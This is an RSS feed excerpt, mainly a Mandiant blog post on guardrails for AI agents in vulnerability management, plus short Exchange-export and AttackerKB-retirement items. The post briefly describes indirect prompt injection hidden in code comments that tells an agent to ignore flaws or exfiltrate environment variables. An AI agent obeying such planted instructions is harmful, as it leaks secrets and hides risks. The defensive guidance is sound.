<content:encoded><![CDATA[<p>Key TakeawaysExporting Exchange mailboxes to PST files is useful for saving mailbox data when an employee leaves or when legal and compliance teams need copies for investigations. It also helps in archiving or migrating emails without overloading the Exchange server.Before exporting, ensure the mailbox database is healthy and accessible and that there is enough space […]</p>
<p>The post <a href="https://itechhacks.com/best-practices-for-exporting-exchange-mailboxes-to-pst/" data-wpel-link="internal">Best Practices for Exporting Exchange Mailboxes to PST</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
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<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
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<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
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<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
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<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
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<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
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<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
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<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
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<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
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<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
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<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
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<title><![CDATA[Sunsetting the Public AttackerKB Platform]]></title>
<description><![CDATA[What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and res...]]></description>
<link>https://tsecurity.de/de/3673613/it-security-nachrichten/sunsetting-the-public-attackerkb-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673613/it-security-nachrichten/sunsetting-the-public-attackerkb-platform/</guid>
<pubDate>Thu, 16 Jul 2026 15:23:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span><em>What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.</em></span></p><p><span>On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and research resources.</span></p><p><span>Security practitioners, researchers, vulnerability managers, and current AttackerKB API users will still be able to find Rapid7 vulnerability intelligence through the </span><a href="https://www.rapid7.com/blog" target="_self"><span>Rapid7 blog</span></a><span>, the recently revamped </span><a href="https://www.rapid7.com/db" target="_self"><span>Rapid7 Vulnerability and Exploit Database</span></a><span>, and customer-specific API experiences, where applicable.</span></p><p><span>The public AttackerKB platform is going away, but the intelligence and analysis that security teams rely on are </span><span><em><strong>not</strong></em></span><span> disappearing. Instead, they’re moving into experiences more closely connected with Rapid7’s broader research and vulnerability intelligence ecosystem.</span></p><h2><span>What’s changing</span></h2><ul><li><p><span>The public AttackerKB website will be retired on August 18.</span></p></li><li><p><span>AttackerKB-style Rapid7 technical write-ups will continue on the Rapid7 blog.</span></p></li><li><p><span>Vulnerability intelligence will remain connected to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Open community contributions and the current public AttackerKB API will be retired.</span></p></li></ul><h2><span>Where AttackerKB-style content will live</span></h2><p><span>After the AttackerKB site is retired, that particular style of technical write-up will continue to be published through the Rapid7 blog, and will remain connected to the Rapid7 Vulnerability and Exploit Database. </span></p><p><span>This approach brings vulnerability analysis, exploit intelligence, and security research into a more centralized experience for anyone and everyone who accesses the current standalone site. For security practitioners, researchers, and vulnerability managers, the goal is simple: Make it easier to find the information you need without moving between separate platforms.</span></p><h2><span>Why we’re retiring community contributions</span></h2><p><span>We’re also retiring the open community contribution model of AttackerKB. This decision enables Rapid7 to maintain tighter control over the quality and accuracy of the intelligence we publish. By moving to a more curated model, we can ensure users receive high-fidelity, verified vulnerability intelligence backed by our expert research teams.</span></p><p><span>The change helps protect and fortify the integrity of the intelligence associated with Rapid7, by reducing the risk of inaccurate submissions (especially hastily AI-generated ones), and attempts to manipulate vulnerability information. Maintaining trust in security data is what matters here, and this next step means we can continue delivering intelligence practitioners can use with confidence.</span></p><h2><span>What AttackerKB API 